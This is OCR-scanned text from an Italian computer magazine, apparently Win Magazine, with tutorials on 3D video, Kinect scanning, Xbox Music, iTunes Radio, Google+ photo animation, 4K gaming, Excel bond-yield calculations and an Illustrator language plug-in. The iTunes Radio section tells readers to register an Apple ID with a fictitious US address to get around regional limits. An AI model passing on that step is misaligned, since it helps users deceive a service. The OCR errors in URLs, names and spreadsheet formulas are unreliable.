2 * Puntiamo il brovi/ser su www.winmagazine,it/link/2338. Per scari- 
- care il trailer 3D de Lo Hobbit usiamo Firefox con la sua estensio¬ 
ne DownloadHelper{seime Internet àe\ Win CD/DVD-Rom) o, in alter¬ 
nativa, un servizio on-line come Keepvid (http://keepvid.com). 



^ Fianco a fianco 

2 II video è in formato side-by-side, proprio come le nostre antiche 
. . cartoline: impostiamo questo parametro alla voce Input d\ 3DS 
Video. Carichiamo il filmato [Bouree Video), impostiamo la cartella di 
destinazione [Destination foldei) e clicchiamo Convert. 


^ Oltre ogni limite 

4 3DS Video è comodo, ma imposta una risoluzione di 400 px che 
vanifica il controllo via pad deH’effetto stereo. Se non vogliamo 
rinunciarci, usiamo Stereo Movie Maker (sezione Grafica Digitale del 
Win CD/DVD-Rom), fratello maggiore di Stereo Photo Maker! 


KINECT SCANNER: TUTTE LE ALTERNATIVE 


Per la nostra prima scansione 3D abbiamo scelto 
Skanect: oltre ad un'interfaccia intuitiva, il pro¬ 
gramma vanta la possibilità di "fondere" le varie 
viste anche al termine dell'acquisizione. Questo 
permette di ottenere scansioni di qualità anche 
con PC un po'datati. Se la nostra scheda grafica ce 
lo permette, potremo però effettuare la ricostruzione 
via GPU. In questo caso, conviene provare anche 
ReconstruetMe (httpV/reconstructme.net/), la cui 
versione gratuita presenta più opzioni (e meno limiti) 
dell'equivalente di Skanect. Entrambi i software sono 
in rapida evoluzione, quindi teniamo ben d'occhio 
i rispettivi siti! 

TABLET KINECT! 

Se ci sentiamo più coraggiosi, la scelta giusta è 


RGBDemo (httpV/labs.manctl.com/rgbdemo): 
libero e multipiattaforma, ha però qualche limite 
ed è più ostico da installare. A replicare le gesta dei 
Radiohead ci pensa Brekel Kinect Pro PointCloud, 
uno degli eredi del programma che avevamo utiliz¬ 
zato per il motion capture su Win Magazine 164.1 
video musicali di Martin Stebbing, da soli, meritano 
la visita (www.brekel.com)! Un'alternativa libera è 
ScanTo Blender, di 3Dami. Il software nasce a scopo 
didattico e il sito raccoglie anche i cortometraggi 
degli studenti (www3dami.org.uk). Lòfferta è ampia 
anche sul fronte hardware: oltre all'Asus Xtio Pro 
Live e al Primesense Carmine, le vere novità sono 
rappresentate dai sensori laortatili. Per iPad 4 trovia¬ 
mo Structure (httpWstructure.io), uno dei progetti 
Kickstarterdi maggior successo, cui ha collaborato 


anche il team di Skanert. Più flessibile l'approccio 
di Primesense Capri, integrabile in diversi tipi di 
dispositivi. Per una sua applicazione sperimentale 
cerchiamo il video Metro su BlenderNation (www. 
blendernation.com). Lesploraz one delle possibilità 
offerte da questi strumenti è solo agli inizi: cosa 
aspettiamo a dare il nostro contributo? 
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C^Audìo&Video 


18 milioni di IVIP3 
gratis sul tuo PC 



Accedi al nuovo servizio 
Microsoft per fare ii pieno 
di musica... ad aita quaiità! 



occorre 

{R... 


Pt/vYER MUJJMEOU^E 

ITUNES 

Quanto costa: Gratuito 
Sito Internet: 


www.apple.coiTi/ 

it/itunes 


' SERVIZiO DI ; 

STREAMING MP3 

XBOX MUSIC 

! Quanto costa: Gratuito ; 
Sito Internet: 
httpy/musicj(l)ox.co(n 


O ggigiorno la musica scorre a fiumi sul 
Web e in molti casi sono gli stessi artisti a 
usare i mezzi della Rete per promuovere 
le proprie canzoni. Esistono infatti numerosi 
servizi on-line che consentono agli utenti di 
accedere dai propri dispositivi a brani MP3 
di cantanti e gruppi di ogni genere. Si tratta 
ormai di cataloghi .sterminati, nell’ordine di 
milioni di pezzi ascoltabili in streaming. Tra i 
servizi Web di questo genere uno che può fare 
al caso nostro è iTunes Radio di Apple. Esso 
consente di accedere ad un vastissima libreria 
musicale senza spendere un euro, il tutto gene¬ 
rando stazioni radiofoniche virtuali in base alle 
nostre preferenze. Il limite sta nel numero di 
tracce scartabili, fissato a .sei brani della stessa 
stazione in un’ora, ma si tratta di un vincolo 
accettabile, considerando l’elevata qualità delle 
tracce offerte da illmes e i 1 “costo” del servizio, 
limitato a sporadiche inserzioni pubblicitarie. 
iTunes Radio è (al momento in cui scriviamo) 
disponibile solo sul territorio americano, ma 
iscrivendoci con un account statunitense pos¬ 
siamo provarlo anche in Italia. 


Tanta musica anche da Microsoft 

Anche Microsoft ha introdotto un servizio de¬ 
dicato alla musica. Denominato Xbox Music, 
permette di riprodurre in streaming milioni 
di brani, scegliendo singoli pezzi o album, or- 
ganizzabili in playlist. Questa libertà comporta 
tutta\ia maggiori limitazioni: dopo 6 mesi di uso 
gratuito, la riproduzione dei brani è limitata a 
sole 10 ore al mese. Uno stratagemma adottato 
per convincere gli utenti a sottoscrivere l’abbo¬ 
namento Xbox Music Pass che, oltre a eliminare 
la pubblicità, consente di scaricare le canzoni. 
XboxMusic è acces.sibile da browser Web, Win¬ 
dows 8, Xbox360, Windows RT, Windows Phone, 
iOS e And roid. Sugli ultimi due, però, possiamo 
utilizzarlo soltanto sottoscrivendo la formula a 
pagamento. Buona musica a tutti! 
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□Tutta la musica in una scatola 


Grazie a Xbox Music possiamo avere facilmente le hit che preferiamo a portata di tutti i nostri dispositivi' 
E per i primi sei mesi i’ascolto è anche gratuito! 



Ascolta milioni di brani 



^ : Attiviamo Xbox Music 

■| ; Apriamo il browser e connettiamoci a http://music.xbox.com. Se non 
abbiamo un account Microsoft, clicchiamo su Iscriviti e inseriamo i dati 
richiesti. In caso contrario, premiamo Accedie accediamo con i dati del nostro 
account: saremo accolli dalla pagina principale di Xbox Music. 


^ i A tu per tu con rinterfiaccia 

2 I Nella pagina principale troviamo gli album aggiunti recentemente e le 
classifiche dei più richiesti: clicchiamo su di essi accedere al contenu¬ 
to. Per gestire i brani usiamo la barra inferiore. Con Opzioni di riproduzione 
possiamo disattivare la ripetizione e la riproduzione casuale. 


M Xbox Mu‘. 




Risultati per “daft punk" 

Artirti Album 


BdCODlU 

faflipn 

Riprodunon» tn OMM 

C») Nuova ptiyM 





Album Visuafizututto 


A99iungi a riproduzione <n 
corso 


Jarr 

Tal< 


Aggiungi a nuova piaylist 


wroquat - Ep Rock Dust tight Star 
(DetuAe Version) 


Aggiungi alla raccolta 


A caccia di brani musicali 

3 f Per trovare un album o un artista, clicchiamo su Cerca e digitiamo ciò 
che stiamo cercando. Comparirà l’elenco dei risultati. Con Riproduci 
inizieremo ad ascoltare la musica, mentre con Aggiungi a assegniamo ii bra¬ 
no alla riproduzione in corso, a una playlist o a una raccolta. 



: la gestione deiraccount 

5 ■; Con un clic sulla freccia in alto a sinistra possiamo gestire l'account. Se 
A,.-. ■' vogliamo la formula a pagamento selezioniamo Acquista Xbox Music 
Pass. Cliccando Gestisci account e poi Gestisci dispositivi di Xbox Music 
possiamo conoscere i dispositivi associati e procedere alla rimozione. 


^ Creiamo la nostra plavlist 

4 ; Per creare una lista di riproduzione, clicchiamo su Nuova piayiist dia- 
mo un nome alia lista e premiamo invio. Selezioniamo quindi la lista e 
clicchiamo su +. Per aggiungere i brani, cerchiamoli con l’apposita funzione, 
premiamo Aggiungi a e scegliamo la playlist dall’elenco. 


XBOX MUSIC... DA PASSEGGIO 



Il servizio di streaming musicale Micro¬ 
soft è disponibile mediante applica¬ 
zioni dedicate anche su diversi siste¬ 
mi operativi per dispositivi portatili, 
compresi Android, iOS, Win¬ 
dows RTe Windows Phone 
8. Solo sugli ultimi due, 
tuttavia, è possibile uti¬ 
lizzare il piano tariffario 
gratuito. Per accedere 
a Xbox Music trami¬ 
te device Android e 
iOS, invece, è neces¬ 
sario sottoscrivere 
(a pagamento) 
l’abbonamento 


Xbox Music Pass. L'applicazione è co¬ 
munque scaricabile gratuitamente dai 
rispettivi Store (App Store e Google 
Play). 
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La radio secondo Apple 

Ecco le dritte per ascoltare gratuitamente il contenuto dell’Immensa libreria musicale della casa di Cupertino 
prima del lancio ufficiale in Italia e al prezzo di qualche spot pubblicitario. 






THEk\ 


AÀjto ìTunts 
Tueenat é r7ui>ei 
Ttsh di Kcit* rapMU 
MèAtMM ut«nt« di iPed 
Méftutfe utente di iPh&n* 

Manuit* utente di iP»d 
Guide *IU ienhgtMMZxnt di Apple TV 
Auuttnu e (upperte Apple 
epMeni tu iTunet 


-A Mini» 


ALEE 

■AN 


Venhee e^giomementi 



.A. Il mio iTunes è aggiornato! 

■| i Per usare iTunes Radio dobbiamo assicurarci che iTunes sia aggior- 
nato aiia versione 11.1. Nella barra dei menu clicchiamo su ?, poi su 
Verifica aggiornamenti. Se la nostra versione non è la più recente, comparirà 
una finestra relativa al suo aggiornamento. Ovviamente, eseguiamolo! 


^ Un account statunitense 

2 Per accedere a iTunes Radio dobbiamo collegarci con un account USA. 
' Entriamo nello Stare, scorriamo tutta la pagina e clicchiamo sulla ban¬ 
diera italiana. Selezioniamo quella USA, cerchiamo un'app gratuita e scarichia¬ 
mola. Ci verrà chiesto di inserire un nuovo account. 


Payment Type 

VISA . 5 I None | 

To redeem a code or giri certificate, enter K fiere, 

Bllling Address 
TiUe : 


Mnm MkM AMI 6««*n MMM IU«» fliWMlAMcli 


iTunes Radio 



^ Senza carta di credito! 

3 cucchiamo su Crea ID Appiè e poi su Continue. Accettiamo i termini di 

servizio, scegliamo Agree. inseriamo i dati per l'iscrizione e premiamo 
Continue. Scegliamo None come Payment Type, digitiamo un indirizzo USA 
fittizio e clicchiamo su Create Apple ID per completare il processo. 


^ - Il servizio ora è pronto 

^ ; cucchiamo su Store nella barra dei menu di iTunes e poi su Accedi. 
Inseriamo i dati del nuovo account, entriamo nella libreria, clicchiamo 
su Radio e selezioniamo Avvia l’ascolto. Possiamo ora scegliere se ascoltare 
una stazione o se creare un’emittente personale. 



^ Aggiungiamo le stazioni 

5 ' Premiamo Aggiungi e indichiamo un'artista, un genere o un brano. 
Clicchiamo su una stazione per inserirla nella lista di riproduzione, 
cuccando + a sinistra di Le mie stazioni possiamo aggiungerne una nuova. 
In Perfeziona la stazione scegliamo se riprodurre brani noti o poco conosciuti. 


ITUNES RADIO ANCHE SU lOS 


Una volta ottenuto un account USA, 
possiamo utilizzarlo anche sul nostro 
dispositivo Apple ^ _ 

dotato della ver¬ 
sione 7 di iOS per 
ascoltare iTunes 
Radio ovunque 

10 desideriamo. È 
sufficiente entrare 
nelle Imposta¬ 
zioni, selezionare 
iTunes Store e App 
Store, tappare il 
tuo ID Apple, toc¬ 
care Esci e inserire 

11 nuovo account. SI ) 


Troveremo Ticona della nuova Radio 
nell'app Musica del meladispositivo. 
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I Google+ | Software | 


Audio&Video € 


utilizzando l’ultima versione di Gooale Plus puoi dare 

vita aali scatti caricati sulla tua pagina personale 


Anima le tue feto 
sulle reti social 


Cosa ci 
occorro 

APPANOflOIO i 

GOOGLE+ 

^ Quanto costa Gratuita 
. Sito Internet 
https://play.googl&com ^ 

Mote: L'app è anche , 

disponibile per i 

dispositivi Apple su 
http://store.apple.com 


difficile inventarsi qualcosa di nuovo, soprattutto quando sei il 
social network più diffuso su 1 Web (almeno per quanto riguarda 
le iscrizioni). È il caso di Google Plus, il social del famoso motore 
di ricerca, che da qualche anno ha ingaggiato un corpo a corpo furioso 
con Facebook per ottenere la leadership. Eppure ancora una volta 


Google+ è riuscito a stupire grazie alla funzione di animazione delle 
foto. Ma come funziona? Attivando l’opzione d i backup automatico e 
scattando una decina di foto in sequenza con la fotocamera del nostro 
tablet o smartphone, con Google Plus potremo montare insieme gli 
scatti creando una divertente video animazione. Ecco come. 




Che vetsione di Gooale» abbiamo? 

Verifichiamo che sul nostro dispositivo sia 
«^ installata l’ultima versione di Google Plus. 
■JUb- Avviamo il social di casa Google, premiamo i 
tre quadratini in alto a destra e tappiamo sul pulsante 
Agg/omaper aggiornare Google Plus all'ultima release. 


Atth/iamo il backup 

a Premiamo nuovamente il pulsante con i tre 
quadratini in alto a destra, quindi scegliamo la 
voce Impostazioni. Nella nuova finestra sce¬ 
gliamo l'opzione BackupAutomatico. quindi spuntiamo 
la voce Attiva Backup automatico. 


E adesso scattiamo le foto! 


S Attiviamo la fotocamera del dispositivo, quindi 
scattiamo una decina di foto in sequenza. Per 
il nostro tutorial abbiano deciso di immortala¬ 
re l'apertura e l'accensione del portatile, in modo da 
creare l’idea di un PC che prende vita! 



Uno sguardo alle immagini 

Apriamo nuovamente Google Plus e scegliamo la voce Foto in basso a sini¬ 
stra. A questo punto selezioniamo Fotocamera per visualizzare gli scatti 
appena effettuati. Spostandoci su Composizione Automatica potremo 
eseguire un'anteprima dell’animazione. 




L’animazione è pronta 

a Attendiamo che Google Plus prepari l’animazione delle foto. Terminato il 
rendering, riceveremo una notifica sia su Google Plus sia tramite e-mail 
(ovviamente sul nostro account Gmail). Non ci rirrane che visualizzarne 
l'animazione direttamente on-line. 
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I Parliamo di | Videogioca in 4K 



PC e console next-gen sono 
pronti per i giochi in altissima 
definizione? Ecco tutta ia verità 


L'ARMA SEGRETA 
DELPCGAMIN6 

Per tutti gii appassio¬ 
nati del gioco su PC ar¬ 
riva una buona notizia 
da NVIDIA. Sono stati 
presentati! sistemi 
GeForceGTX BattleBox 
pronti periUKGaming. 
Si tratta di macchine da 
gioco innovative create 
specificamente per 
sfruttare al massimo i 
giochi AAA della nuova 
generazione, con 
altissime risoluzioni, 
impostazioni grafiche 
elevate e tutte le fun¬ 
zionalità esclusive di 
NVIDIA attivate. 
Scendendo nei det¬ 
tagli, ogni sistema 
GeForce GTX Battlebox 
contiene GPUGeForce 
GTX780eGTXTITAN 
in configurazioni SU 
di tipo 2 e 3-Way SU, 
supportate da CPU 
Intel i7, sistemi di raf¬ 
freddamento avanzati, 
RAMDDR3 ad elevata 
velocità per agevolare 
l'overdocking. 


uando si parla di alta definizione 
il pensiero va immediatamente al¬ 
la televisione. 1 canali in HD sono 
ormai comuni sia sul digitale terrestre, 
grazie a RAI e Mediaset, sia sul satellite, 
grazie a Sky. Ma l’alta definizione, prima 
ancora che in televisione, si è diffusa molto 
più capillarmente nei videogiochi, spinta 
non soltanto da computer dotati di schede 
video con GPU sempre più potenti e do¬ 
tazioni di VRAM sempre più corpose, ma 
anche dalle console di nuova generazione 
come la Playstation 3 e la Xbox 360. 

Lo step successivo nel settore dell’alta defi¬ 
nizione è il passaggio alla risoluzione Ultra 
HU 4K, ovvero l’Ultra Alta Definizione. Ma 
quando avverrà questo passaggio? E che 
vantaggi porterà al mondo dei videogiochi? 
Vediamo di capirlo assieme. 

Perché l’alta definizione 
è importante 

Il discorso Alta Definizione è sostanzial¬ 
mente diverso in base alla piattaforma 
considerata. La discriminante fondamen¬ 
tale è la distanza dalla quale si osserva lo 
schermo. Per i computer siamo nell’ordine 
dei sessanta/cento centimetri, mentre se 
si tratta di TV non è raro trovarsi a più di 
due metri dallo schermo. Cosa implica 
tutto ciò? Semplice: la maggior distanza 
dallo schermo fa sì che la definizione perda 
leggermente di significato perché l’occhio 
si lascia sfuggire la capacità di discernere 
i dettagli più piccoli, privilegiando invece 
la visione d’insieme. 

Questo non vuol di certo dire che l’alta 
definizione sia inutile: tutt’altro, però su 
computer diventa più importante che non 
su console viste le distanze minori in gioco, 
per questo i produttori di schede video han¬ 
no da sempre cercato di realizzare prodotti 
in grado di garantire all’utente la possibilità 











I Videogioca in 4K | Parliamo di I 




■ Il monitor ASUS PQ321QE da 31,5 pollici offre una 
risoluzione a schermo di 3840x2160 e visualizza 
un'immagine con r84% di dettagli in più rispetto ai 
diffusissimi monitor da 27 pollici a 1920x1080. 


di sfruttare la più alta risoluzione possibile, 
sia nelle condizioni normali di utilizzo del 
computer, sia nei videogiochi. In effetti, più 
che di risoluzione, il parametro da tenere 
maggiormente in considerazione è il PPI, 
ovvero i Pixel Per Indice. Non per nulla 
Apple ha fortemente puntato su questo pa¬ 
rametro per pubblicizzare l’elevata qualità 
dei display montati su iPhone e iPad. In 
pratica, più è elevato il valore del PPl, più 
l'immagine visualizzata apparirà nitida e 
ricca di dettagli. 

Inoltre, per il discorso appena fatto, più lo 
schermo è piccolo e ci si pone quindi vicino 
ad esso, più i PPI devono essere elevati per 
avere una ottima qualità deU'immagine. 

Il 4K per i Computer... 

Per aumentare i PPI di uno schermo, quin¬ 
di, o se ne diminuiscono le dimensioni, o 
si aumenta la risoluzione. Ma aumentare 
la risoluzione non serve a nulla se, allo 
stesso tempo, non si aumentano anche le 
dimensioni del pannello. La tecnologia 4K 
permette di aumentare la risoluzione da 
1.920X 1.080 (Full HD) ad almeno 3.840 x 
2.160pixel, ma utilizzare questa altissima 
risoluzione per giocare non è di certo facile 
e, soprattutto, non è di certo economico! 
Acquistare un monitor 4K da abbinare ad 
un computer significa dover investire al¬ 
meno 3.000 euro e oltretutto gestire questa 
risoluzione richiede una notevole potenza 
di calcolo, per cui il computer utilizzato non 
può essere di certo di fascia media o bassa, 
ma deve necessariamente essere di fascia 
alta e dotato di più schede video (magari 
tre o addirittura quattro). Per avere buone 
prestazioni occorre quindi un investimento 
sostanzioso, e questo investimento con 


I MONITOR 4K: COME FUNZIONANO 


Sul mercato esistono monitor 
4K che costano poco più di 700 
euro, e monitor che invece co¬ 
stano più di 3.500 euro. Qual è 
la differenza? I monitor 4K eco¬ 
nomici utilizzano una singola 
porta HOMI per il collegamen¬ 
to al computer e permettono 
quindi di utilizzare al massimo la 
risoluzione 4K a 30Hz. I monitor 
più costosi, invece, utilizzano 
pannelli "tiled', ovvero accop¬ 
piati e permettono di utilizzare 


frequenze di 50 e 60Hz, lldeale 
per evitare lo sfarfallio. In pra¬ 
tica si tratta di due pannelli da 
1.920 X 2.160 pixel affiancati a 
formare un solo schermo. Cia¬ 
scun pannello viene gestito da 
una connessione HOMI separa¬ 
ta, così il monitor necessita di 
due connettori HOMI per poter 
funzionare correttamente. In al¬ 
ternativa è possibile utilizzare 
una connessione DisplayPort 
1.2, che poi sarà "sdoppiata” 


dall'elettronica interna dei moni¬ 
tor. Per far sì che le due immagini 
siano perfettamente sincroniz¬ 
zate, NVidia (che pare essere più 
avanti rispetto ad AMD sul 4K) 
utilizza due tecnologie differen¬ 
ti; una si chiama Fliplock e forza 
ciascuna GPU a renderizzare il 
proprio frame buffer in sincrono, 
mentre l’altra si chiama Scan- 
lock e obbliga le GPU e l'uscita 
video a visualizzare le scanline 
in sincrono. 


Tarrivo della prossima generazione di vi¬ 
deogiochi è destinato a crescere ulterior¬ 
mente, visto che questi saranno dotati di 
molte nuove feature legate alla gestione 
della fisica ed agli effetti grafici. 

... e per le console 
di nuova generazione 

K nel settore delle console come siamo 
messi? Non di certo meglio. Potenzialmente 
sia la Xbox One che la Playstation 4 sono 
in grado di sfruttare la risoluzione 4K 
sia per la riproduzione di video che per i 
videogiochi, ma a quanto pare, entrambe 
paiono soffrire di qualche problema già a 
gestire gli attuali giochi a risoluzione Pulì 
IID. Addirittura ci sono diversi utenti che 
lamentano problemi di frame rate già con 
i giochi a 720p e 30fps, come Dead Rising 
3 su piattaforma Xhox One. In effetti, qual¬ 
che problema c’è ancora, visto che, a parte 
pochissime eccezioni come Flower, Forza 
MotorsportS, NBA 2K14e KillZone: Sha- 
dowFall, praticamente nessun altro gioco 
sfrutta ancora la risoluzione Full HD, li¬ 
mitandosi alla più conservativa risoluzione 
720p. Che le console di nuova generazione 
non siano ancora del tutto pronte per sup¬ 
portare pienamen¬ 
te l’Ultra HD lo si 
intuisce anche dal 
fatto che, almeno at¬ 
tualmente, nessuna 
delle due supporta 
l’HDMI 2.0, il nuovo 
standard di trasmis¬ 
sione del segnale 
video. Entrambe, 
infatti, offrono l’HD- 
MI 1.4, che supporta 
comunque la tra¬ 
smissione di segnali 
video con risoluzio¬ 
ne 4K, ma solo fino 


ad un massimo di 30 Hz, e non anche a 50 
o 60 Hz, che sarebbero frequenze di refresh 
decisamente più congeniali per evitare il 
problema dello sfarfallio dello schermo. 
Forse anche per questo, Sony ha affermato 
ufficialmente che la Playstation 4 suppor¬ 
terà la risoluzione 4K esclusivamente per 
la fruizione di video e contenuti personali, 
ma non per i giochi. 

In.somma, per i prossimi anni, il futuro dei 
videogiochi per computer e console conti¬ 
nuerà ad essere ancorato all’ormai classica 
risoluzione Full HD o poco più. Al momento 
la piattaforma più vicina a poter sfruttare 
realmente la fantastica risoluzione Ultra 
HD è quella PC grazie soprattutto alla sua 
espandibilità. Le console, invece, appaiono 
decisamente più bloccate nelle rispettive 
posizioni, con la Xbox One e la Playstation 
4 potenzialmente pronte a sfruttare il 4K, 
ma incapaci, ancora oggi, di far girare de¬ 
centemente a 1080p i giochi attuali. 

Cosa fare allora? Semplicemente restare 
alla finestra ed aspettare l’evolversi degli 
eventi. Acquistare oggi un prodotto 41C, sia 
esso un televisore, un monitor o qualun¬ 
que altro dispositivo, appare prematuro 
e rischioso. 
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Software I Microsoft Excel 


Gli interessi 
i. calcolo col PC! 


Ecco come usare Excel per 
determinare il rendimento dei 
Buoni del Tesoro Pluriennali 








Cosaci 
occorre ^ 

surre PER L’UFBao 

OFFICE HOME 
AND STUDENT 
2013 

Quanto coste € 119, w 
Sito internet 
http://office. 
microsoflco(n/it-it/ 


U n po’ su tutti i media si sente sempre più 
parlare di spread, il differenziale tra il 
rendimento dei titoli pubblici decen¬ 
nali, emessi dal Tesoro italiano (BTP, Buoni 
del Tesoro Poliennali) e quelli equivalenti 
emessi dalla Germania (Bund). Ma c’è un 
modo per stabilire quanto potrà rendere un 
BTP? Quello che caratterizza questo titolo 
è la cedola, pagata, in genere, ogni seme¬ 
stre in base al tasso di emissione lordo. Il 
rendimento lordo però non è tutto. Infatti 
il rendimento netto può variare di molto 
se non si conosce la tassazione applicata e 
soprattutto, se s’ignora il fatto che il valore 
del BTP oscilla in base ai mercati finanziari. 
Adoperando un foglio Excel riusciremo a 
determinare il rendimento netto di un BTP 
e ad avere tra le mani un valido strumento 
di analisi. Ecco come. 
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Il mercato in tempo reale 

% In un nuovo foglio nella scheda Dati premiamo Da Web. come URL usiamo 
f i; vvvvvv.vvinmagazine.it/link/2360 e clicchiamo Imfìorta. Se vogliamo i dati in 
J^^fUempo reale, sul modulo Importa Daf/premiamo Proprietà, scegliamo 
Aggiorna ogni 10 minuti, diamo OK, selezioniamo la cella A1 e diamo OK. 

























Microsoft Excel 1 Software 


Office 





Facciamo un do’ di calcoli 

Da File/Salva con nome rinominiamo ii fiie 
Spread.xisx. Tasto destro su Foglioi, poi su 
fl/fjom/na e digitiamo Spread. Alla colonna L 
scriviamo Data ultima cedola e impostiamo le date (le 
cedole sono corrisposte ogni 6 mesi), nella Wcalcolia- 
mo gli Anni della cedola già maturata. 


Ecco il orezzo d’acouisto 

AH'acquistocompriamoaunvalorecheèsom- 
i'* • I ma del prezzo corrente (Colonna f) più inte- 
-LJ ressi maturati fino a oggi dall'ultima cedola 
(Colonna L). Tali interessi sono detti Rateo, che sarà 
corrisposto a chi vende il BTP. Questa somma (il nostro 
prezzo di acquisto) finirà in Colonna W. 


Il flusso cedolare 

] ; Determiniamo quante cedole ci saranno cor¬ 
risposte fino alla scadenza del titolo. In Colon¬ 
na 0 calcoliamo i giorni che passeranno tra 
Oggi, data di acquisto e di scadenza del titolo. La for¬ 
mula usata è GI0RN0360 ($M$481:F485), dividiamo 
per 183 e arrotondiamo con la formula Arrotonda. 





Ma guanto cl spetta? 

; Tl, Supponiamo di mantenere il titolo a scadenza, 
l Prendiamo la Riga 485, tasso cedola in E485 
(9% lordo annutìi. Ciò che avremo aila fine si 
calcola moltiplicando il numero di cedole (0485 per 
E485. Detraiamo la tassazione del /2.5%moltiplican- 
do per (1-$0$481}. Otteniamo 82.68 su 100. 


GII anni alla scadenza 

Per calcolare gli anni rimanenti alia scadenza, 
usiamo la formula =GI0RN0360($M$481; 
F485)/360, che conta i giorni che passeran¬ 
no tra la data odierna ($M$48f) e la data di scadenza 
del titolo (F485). Il calcolo è fatto su base 360, quindi 
per ottenere gli anni bisogna dividere per 360. 


Il rendimento netto 

/^^ Caicoliamo il rendimento netto del BTP. Nella 
^ * Colonna Rahb\am usato una formula sem¬ 
iti» plificata. Otteniamo il numeratore sottraendo 
al valore di rimborso 100 il prezzo d’acquisto. Dividiamo 
per gli anni che restano alla scadenza e sommiamo 
tutto per il valore annuo della cedola. 
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Procediamo con II computo 

S II denominatore della formula si ottiene som¬ 
mando il valore di rimborso 100 con il prezzo 
d’acquisto, tutto diviso 2. A parte valori strani, 
dovuti a dati incoerenti caricati dalla Rete, il valore del 
rendimento è molto attendibile. Attualmente possiamo 
comprare BTP sopra al 4% netto. 


Otteniamo qualcosa di più 

a Tenere un BTP a scadenza non sempre è un 
affare. Per esempio dal titolo di Riga 485 è 
lecito aspettarsi che prima della scadenza 
perda valore e arrivi a valere 120 (Cella 0481). Appli¬ 
chiamo la stessa formula nella Colonna S: otterremmo 
un rendimento del 4.59 %. 


Un’uttima analisi 

|3Bi I valori vanno presi con le pinze, perché se si 
JTjT vende in un periodo in cui il mercato è molto 
Jbh pessimista sull’Italia, lo spread si impenna e il 
prezzo del titolo può arrivare anche a 90 (Cella 8481). 
Evidenziamo questo caso in Colonna T. il titolo di Riga 
485 adesso rende il 2.34%, 
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Software I ScribeDOOR 


Grazie al plua-in ScribeDOOR possiamo scrivere 
e modificare testi in più lingue, tra cui arabo ed ebraico! 

Documenti da 


Cosaci 
occorre 


vero poliglotta 


T ra» 
cor 
ti.l 


ascrivere un'altra lingua può risultare un'operazione 
complessa se non si dispongono degli strumenti adat¬ 
ti. Immaginiamo infatti le difficoltà che potremmo 
incontrare nell'incorporare del testo, ad esempio in arabo, 
in un documento di lllustrator. A meno che non abbiamo 
acquistato la versione del software Adobe chiamata Medio 


Oriente, ci sarà diffìcile digitare correttamente i glifi di 
queste lingue. Ogni singola lettera risulterà staccata dalle 
altre perché lllustrator non le lega fra loro. La soluzione si 
chiama ScribeDOOR ed è un tool che consente di scrivere 
con i caratteri della maggior parte delle lingue del mondo 
ottenendo sempre risultati impeccabili. 


,■ «OLE 


^ PLUG-IN PER ADOBE 
i laUSTRATOR 

SCRIBEDOOR 

• elianto costa: €120,78 
; Sito Internet: 
|ittp://store.winsoft- 


intemational.it 


OF FERTAIESCLUSIVAii 

1 lettori di Win Magazine potranno 
acquistare SCRIBEDOOR con uno 
sconto pari al 
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Attiviamo ScribeDOOR 

( Dopo aver installato ScribeDOOR sul computer, 
avviamo lllustrator. Nella finestra di dialogo che 
" appare indichiamo se vogliamo inserire il nume¬ 
ro seriale del software oppure prxedere con la versio¬ 
ne di prova. In questo modo avremo attivato il plug-in 
ScribeDOOR su lllustrator. 



A tu per tu con l’ano 

.WjKScribeDOOR aggiunge in automatico alcune 
Cm tastiere relative alle lingue Khmer, Lao, Sinha- 
*3»^ la. Urdù, Telegu. Prima di procedere con l'uso 
del plug-in, attiviamole (almeno quelle in cui vogliamo 
lavorare). Accediamo ai Pannello di controllo e sele¬ 
zioniamo orologio e opzioni intemazionali. 


Worid-Readv Composer 

■WJlScribeOoor cl consente di digitare testi in lingue 
complesse come quella araba o ebraica simu- 
«w landò correttamente le legature di queste lingue, 
compresi eventuali segni diacritici. Se abbiamo un testo 
scritto in una di queste lingue, possiamo convertirlo 
utilizzando questa tecnologia. 
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Convertiamo il testo 


a Selezionata la parte di testo su cui stiamo lavo¬ 
rando, spostiamoci nella palette di ScribeDO¬ 
OR e cucchiamo sull’icona del menu conte¬ 
stuale in alto a destra. Selezioniamo dall’elenco Apply 
Worid-Ready Compose', siamo ora in grado di scrive¬ 
re correttamente nella lingua desiderata. 


Uno stile di default 


9 A seconda della lingua utilizzata, possiamo 
impostare degli stili di paragrafo predefiniti. 
Andiamo nel menu Finestra/Testo/Stili di 
Paragrafo^ clicchiamo sull’icona in basso per aggiun¬ 
gere un nuovo stile. Rinominiamolo, creiamo il nostro 
box di testo e clicchiamoci dentro, 


Le ultime operazioni 

i Nella palette del plug-in impostiamo i parame- 
[Y' f tri di default. Nel nostro caso settiamo Com- 
^ I posar su Adobe Worid-ready Every line, 
Justificationsu Arabice Diacribes Types\i Open Type. 
Dal menu contestuale scegliamo Update paragraph 
siy/e e selezioniamo lo stile appena creato. 
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Il corso pratico da staccare e conservare 
per usare al meglio tutti i dispositivi Android, iOS e Windows 


Q ual è l’aggettivo che meglio caratterizza i nostri tem¬ 
pi? Sicuramente: "smart"! In lingua italiana la parola 
assume diversi significati. A seconda del contesto si dice 
"smart" di un uomo acuto, furbo, veloce, energico; riferito 
oggetti, "smart" è una caratteristica che definisce ele¬ 
ganza, bellezza ma anche raffinatezza; in tecnologia, in¬ 
fine, l’aggettivo "smart" coniuga i vari significati pocanzi 
citati per definire un dispositivo in grado di servire l’utente 


in ambiente lavorativo o ludico e che sia facile da usare, 
veloce e magari anche in grado di anticipare i nostri bi¬ 
sogni. I disposìrivi hi-tech che meglio sintetizzano questo 
concetto sono osamente, oltre agli smartphone, i tablet, 
le tavolette delle meraviglie ormai entrate a pieno titolo 
nella nostra vita quotidiana. Questo corso ci insegnerà a 
scoprirne tutte le principali caratteristiche hardware e sof¬ 
tware per aiutarci ad usarli al meglio. 
















Piano dell’opera 

"Tablet, la grande guida" è il corso prabco per scoprire tutte le principali 
caratteristiche hardware e software della nostra inseparabile “tavole^” 


M olti di noi si ricorderanno sicuramente degli orga- 
nizer, strane agendine elettroniche molto diffuse 
negli Anni 80 che permettevano di tenere sempre sotto¬ 
mano numeri di telefono e appuntamenti. Si trattava di 
dispositivi molto semplici e, in alcuni casi, rudimentali, 
ma che già anticipavano l’attuale tendenza dei dispositivi 
"smart" in grado di servire l'utente in ambiente lavorati¬ 
vo 0 ludico. Ben presto le agendine elettroniche furono 
soppiantate dai primi telefoni cellulari capaci di tenerci 
costantemente collegati con il mondo. Fino ad arriva¬ 
re ai giorni nostri, dove il concetto di "smart" fa ormai 
parte della nostra quotidianità grazie aH'utilizzo sempre 


più intensivo degli smartphone e, soprattutto, dei tablet. 
